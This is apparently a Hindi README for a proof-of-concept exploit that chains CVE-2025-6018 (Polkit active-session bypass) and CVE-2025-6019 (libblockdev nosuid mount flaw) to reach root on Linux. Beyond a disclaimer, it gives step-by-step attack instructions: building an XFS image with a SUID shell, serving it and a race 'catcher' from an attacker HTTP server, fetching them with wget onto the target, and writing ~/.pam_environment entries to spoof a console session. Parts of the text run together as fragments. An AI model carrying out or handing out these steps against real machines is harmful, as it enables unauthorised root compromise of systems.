
कमजोर Linux सिस्टम्स पर Local Privilege Escalation (LPE) प्राप्त करने के लिए CVE-2025-6018 (PAM/Polkit Active Session Bypass) और CVE-2025-6019 (libblockdev SUID Mount Flaw) को चेन करने का एक Proof of Concept।
CVE-2025-6018 (PAM/Polkit सक्रिय सत्र बायपास) और CVE-2025-6019 (libblockdev SUID माउंट दोष) को जोड़कर कमजोर लिनक्स सिस्टम पर रूट एक्सेस प्राप्त करने के लिए एक मजबूत प्रूफ ऑफ कॉन्सेप्ट (PoC)।
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा अनुसंधान के लिए है। इसे उन सिस्टमों पर उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है।
यह एक्सप्लॉइट एक सामान्य उपयोगकर्ता से रूट तक विशेषाधिकार बढ़ाने के लिए दो तार्किक दोषों को जोड़ता है:
Active=yes के रूप में चिह्नित करने की अनुमति देती है। यह चाल सिस्टम को यह विश्वास दिलाती है कि दूरस्थ उपयोगकर्ता भौतिक रूप से कंसोल पर मौजूद है, जिससे udisks2 जैसे हार्डवेयर प्रबंधन उपकरणों के लिए पासवर्ड की आवश्यकता समाप्त हो जाती है।libblockdev लाइब्रेरी (udisks2 द्वारा उपयोग की जाती है) रखरखाव संचालन (जैसे Check या Resize) के लिए अस्थायी रूप से फाइलसिस्टम माउंट करते समय nosuid सुरक्षा फ्लैग लागू करने में विफल रहती है।Active=yes सत्र स्थिति पर भरोसा करते हैं।Filesystem.Check के लिए D-Bus कॉल जारी करते हैं। यह udisks2 को इमेज को सत्यापित करने के लिए अस्थायी रूप से माउंट करने के लिए मजबूर करता है। महत्वपूर्ण रूप से, इस अस्थायी माउंट में nosuid का अभाव होता है।/proc/mounts की निगरानी करता है। जैसे ही अस्थायी माउंट दिखाई देता है, यह सिस्टम द्वारा अनमाउंट करने से पहले SUID पेलोड को निष्पादित करता है।क्योंकि लक्ष्य मशीन में अक्सर mkfs.xfs या gcc जैसे उपकरणों की कमी होती है, हम पेलोड को स्थानीय रूप से उत्पन्न करते हैं।
Kali/Parrot पर बिल्ड स्क्रिप्ट चलाएं:
./build_poc.sh
exploit.img (SUID शेल के साथ 400MB XFS इमेज) बनाता है।catcher (रेस-कंडीशन विजेता) संकलित करता है।फ़ाइलों को लक्ष्य पर अपलोड करें: एक Python सर्वर शुरू करें:
python3 -m http.server 80
लक्ष्य मशीन पर (उदाहरण के लिए, /tmp में):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
एक्सप्लॉइट स्क्रिप्ट डाउनलोड करें:
इस रिपॉजिटरी से exploit.sh सामग्री को लक्ष्य मशीन पर सेव करें।
एक्सप्लॉइट चलाएं:
chmod +x exploit.sh
./exploit.sh
रूट का आनंद लें: स्क्रिप्ट स्वचालित रूप से लूप डिवाइस सेट करेगी, बैकग्राउंड कैचर शुरू करेगी और भेद्यता को ट्रिगर करेगी। आपको तुरंत एक रूट शेल में ड्रॉप कर दिया जाना चाहिए।
यदि स्क्रिप्ट पासवर्ड मांगती है, तो आपका SSH सत्र सक्रिय नहीं है। समाधान:
~/.pam_environment बनाएं:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active से सत्यापित करें। इसे Active=yes कहना चाहिए।कमजोर विंडो केवल मिलीसेकंड चौड़ी होती है।
build_poc.sh में शामिल) का उपयोग कर रहे हैं, न कि Bash लूप का।Filesystem.Check विधि का उपयोग करती है, जो Resize से अधिक विश्वसनीय है।build_poc.sh (हमलावर पक्ष)दुर्भावनापूर्ण इमेज के निर्माण को स्वचालित करता है और स्थिर बाइनरी को संकलित करता है।
exploit.sh (लक्ष्य पक्ष)आर्केस्ट्रेटर। यह संभालता है:
catcher शुरू करना।udisksctl के माध्यम से लूप डिवाइस सेट करना।Filesystem.Check कॉल को ट्रिगर करना।